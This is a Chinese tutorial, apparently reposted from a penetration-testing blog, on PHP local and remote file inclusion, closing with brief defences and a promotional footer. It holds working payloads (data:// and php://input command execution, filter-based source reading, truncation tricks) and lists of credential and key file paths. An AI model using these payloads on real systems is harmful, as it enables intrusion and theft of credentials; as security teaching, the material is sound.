WEB常见漏洞之文件包含(基础原理篇)
2023-1-14 21:36:29 Author: 渗透安全团队(查看原文) 阅读量:9 收藏

0x01漏洞概述

SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:

include()require()include_once()require_once()

区别如下:

require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。include(),找不到被包含的文件时只会产生警告,脚本将继续运行。include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

0x02本地文件包含

一、简介

被包含的文件在服务器本地,这里演示一个最简单的文件包含,源码如下:

<?php$filename=$_REQUEST['filename'];include $filename;?>

1、首先上传phpinfo代码,之后直接包含就可以完成getshell

2、使用多个../完成目录穿越,查看linux的passwd文件

./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。

一些常见的敏感信息路径:

Windows系统:

c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码c:\windows\php.ini // php 配置信息

Linux/Unix系统:

/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件

二、攻击方式

上传带有shell的图片,利用包含漏洞getshell读取文件内容,如php源代码包含日志文件来getshell包含 proc/self/environ 来getshellphpinfo包含临时文件

三、伪协议文件包含

file:// 访问本地文件系统http(s):// 访问 HTTPs 网址ftp:// 访问 ftp URLphp:// 访问输入/输出流Zlib:// 压缩流Data:// 数据Ssh2:// security shell2Expect:// 处理交互式的流Glob:// 查找匹配的文件路径phar:// PHP归档rar:// RARogg:// 音频流

常用伪协议讲解:

1. file://1)这个协议可以展现本地文件系统,默认目录是当前的工作目录。2)例如:file:///etc/passwd、file://key.txt2. php://(1) php://input是个可以访问请求的原始数据的只读流,可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。(2) php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。3.phar://1)phar://数据流包装器自PHP5.3.0起开始有效2)例如:phar://E:/phpstudy/www/1.zip/phpinfo.txtphar://1.zip/phpinfo.txt

伪协议利用方式总结:

可以利用data://或php://等协议来完成文件包含

php://条件:php<5.0,allow_url_include=off 能使用      php>5.0,allow_url_fopen=On 能使用例子:include.php?filename=php://input,然后在post请求中通过input把语句上传执行<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

data://为数据流封装器,data:URI schema,利用data://进行远程代码执行思路与php://类似,都是利用php中的流将原本include的文件的文件流,将原版的include文件重定向到用户可控的数据流中。条件:allow_url_include=on,php>5.2例子:include.php?filename=data://text/plain,<?php system(id)?>base64变形:include.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==

php://filter可用于查看源码,直接包含php文件时会被解析,不能看到源码,所以需要利用filter来读取,不过需要base64编码加密后才能传输过来。例子:include.php?filename=php://filter/read=convert.base64-encode/resource=include.php

四、文件包含路径

getshell-包含日志文件

/usr/local/apache2/logs/access_log/logs/access_log/etc/httpd/logs/access_log/var/log/httpd/access_log

网站配置文件

dedecms数据库:data/conmmon.inc.phpdiscuz全局:config/config_global.phpphpcms:caches/configs/database.phpphpwind:conf/database.phpwordpress:wp-config.php

系统配置文件

windows:  C:/boot.ini //查看系统版本  C:/Windows/System32/inetsrv/Metabase.xml //IIS配置文件  C:/Windows/repairsam //存储系统初次安装的密码  C:/Program Files/mysql/my.ini //mysql配置  C:/Program Files/mysql/data/mysql/user.MYD //mysql root  C:/Windows/php.ini //php配置信息  C:/Winodws/my.ini //mysql配置信息linux:  /root/.ssh/authorized_keys  /root/.ssh/id_rsa  /root/.ssh/id_rsa.keystore  /root/.ssh/known_hosts  /etc/passwd  /etc/shadow  /etc/my.cnf  /etc/httdp/conf/httpd.conf  /root/.bash_history  /root/.mysql_history  /proc/self/fd[0-9]*  /proc/mounts  /proc/config.gz

0x03远程文件包含

被包含的文件在第三方服务器,即远程服务器上条件:php.ini需配置如下

allow_url_fopen=onallow_url_include=on

例子:include.php?file=https://maccc.top/1.txt

注:被包含文件最好是一个txt格式

0x04文件包含截断

00x1 00字符截断

简介及利用条件

主要0x00作为ascii码中的特殊字符保留,当url中出现%00时表示读取已结束,利用条件如下:

php < 5.3.4magic_quotes_gpc=off

使用方法

主要适用于在服务端代码里已写死后缀名(.txt),如只能传入文件名(1),当传入完整文件名(1.txt)时会发生错误,00截断就能帮助绕过这类限制完成getshell

上传带有木马的图片 文件包含通过00截断访问目标图片,如 test.php?file=x.jpg%00使用蚁剑连接目标

0x02 超长文件截断

简介及利用条件

主要利用操作系统对目录最长长度限制,利用条件如下:

php < 5.2.8文件名要求:linux文件名需长于4096 winodws文件名需长于256

使用方法

将文件名命名为超过系统目录的最长长度限制

test.php?file=x.jpg………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

0x03 问号截断

简介及利用条件

主要适用于远程包含,利用条件如下:

php>=5.3allow_url_fopen=onallow_url_include=on

使用方法

在远程文件包含时在文件最后添加问号可完成截断

test.php?file=http://192.168.0.121/x.txt?

0x05漏洞防御

1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;

2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:“../”;

3.包含文件验证:验证被包含的文件是否是白名单中的一员;

4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。

本地文件包含漏洞涉及的函数有哪些?

include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。

include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。

require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。

require_once:和 require 类似,不同处在于 require_once 只导入一次


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247496102&idx=2&sn=29d85ef64b9c858e2f8222de573b322c&chksm=c1760c09f601851f03630b93abc2a3861b3c4ca85cf5a2fe06147d482d8ae0f51f79e695406e#rd
如有侵权请联系:admin#unsafe.sh